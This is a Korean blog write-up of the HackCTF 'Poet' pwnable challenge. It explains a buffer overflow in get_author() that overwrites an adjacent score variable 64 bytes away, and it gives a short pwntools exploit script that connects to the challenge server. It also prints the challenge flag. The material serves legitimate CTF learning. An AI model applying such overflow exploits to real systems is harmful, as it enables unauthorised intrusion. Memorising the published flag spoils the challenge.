[Pwnable] Poet
Wargame/HackCTF

[Pwnable] Poet

오늘은 poet 문제를 풀어볼라 한다.

 

poet 문제는 200점대 문제치고는 그리 어렵지 않았다.

그냥 코드 분석만 잘하면 풀만한 문제였다.

 

checksec

NX bit만 enable 되어 있으며

Partial RELRO가 걸려있다.

 

실행을 시키면 입력을 받으면 1000000점을 채우라며

다시 시도하라 그런다.

 

하나하나 살펴보자

 

main()

우선 get_poem(), get_author(), rate_poem()을 순서대로 실행시키며

dword_6024E0이 1000000이 된다면

while문을 탈출함과 동시에 reward()로 들어간다.

dword_6024E0이 아까 실행시켰을떄 score을 의미하는것 같다.

 

get_poem부터 살펴보자

get_poem()

result에 poem에 입력받은 값을 대입한다.

poem은 bss 영역에 위치해있다.

 

그리고 dword_6024E0을 0으로 초기화한다.

 

get_author()

byte_400C38을 출력해주며

unk_6024A0을 입력한다.

 

 

s1에 strcmp를 통해서 특정단어가 있다면

점수를 올려준다.

 

reward()

reward() 함수로 들어가면 flag를 띄워준다.

 

그럼 이제 우리의 최종 목표는 dword_6024E0을 1000000을 만드는 것이다.

 

근데 위에서 변수에 입력받을 때 length check를 하는 함수가 하나도 없었다.

 

그렇다면 우리는 BOF를 터트려 dword_6024E0을 1000000으로 만들어주면 될 거 같다.

 

get_author() 함수를 다시 한번 유심히 보자

 

get_author()

unk_6024A0에 입력을 받는데 length check를 해주지 않아서 BOF가 터진다.

 

그럼 unk_6024A0과 dword_6024E0의 거리를 살펴보자

 

unk_6024A0 = 0x00000000006024A0

dword_6024E0 = 0x00000000006024E0

 

둘의 거리는 64byte이다.

 

그럼 익스 코드를 구상해보자.

 

1. get_poem 함수에서 poem 변수에는 아무 dummy 값이나 넘겨준다.

2. get_author 함수에서 dummy 값으로 64를 준다.

3. 1000000을 64비트로 패킹해줘서 값을 입력한다.

4. while문 탈출 -> flag 획득

 

이런 순서대로 진행이 될 거 같다.

 코드를 짜보자.

 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3012)

unk_6024A0 = 0x00000000006024A0
dword_6024E0 = 0x00000000006024E0

p.recvuntil("> ")

payload = ""

payload += "A" * 0x4

p.sendline(payload)

p.recvuntil("> ")

payload = ""

payload += "A" * int((dword_6024E0 - unk_6024A0))

payload += p64(1000000)

p.sendline(payload)

p.interactive()

이런식으로 코드를 작성한다면

 

성공적으로 FLAG를 획득할 수 있다.

 

FLAG  = HackCTF{0neSTEP_jun10rCTF}

 

오늘도 끄-읕😶

'Wargame > HackCTF' 카테고리의 다른 글

[Pwnalbe] 1996  (0) 2021.02.06
[Reversing] Handray  (0) 2021.02.04
[Pwnable] g++ pwn  (0) 2021.02.03
[Pwnable] RTL_World  (0) 2021.02.01
[Misc] Baseball Price & BF  (0) 2020.11.22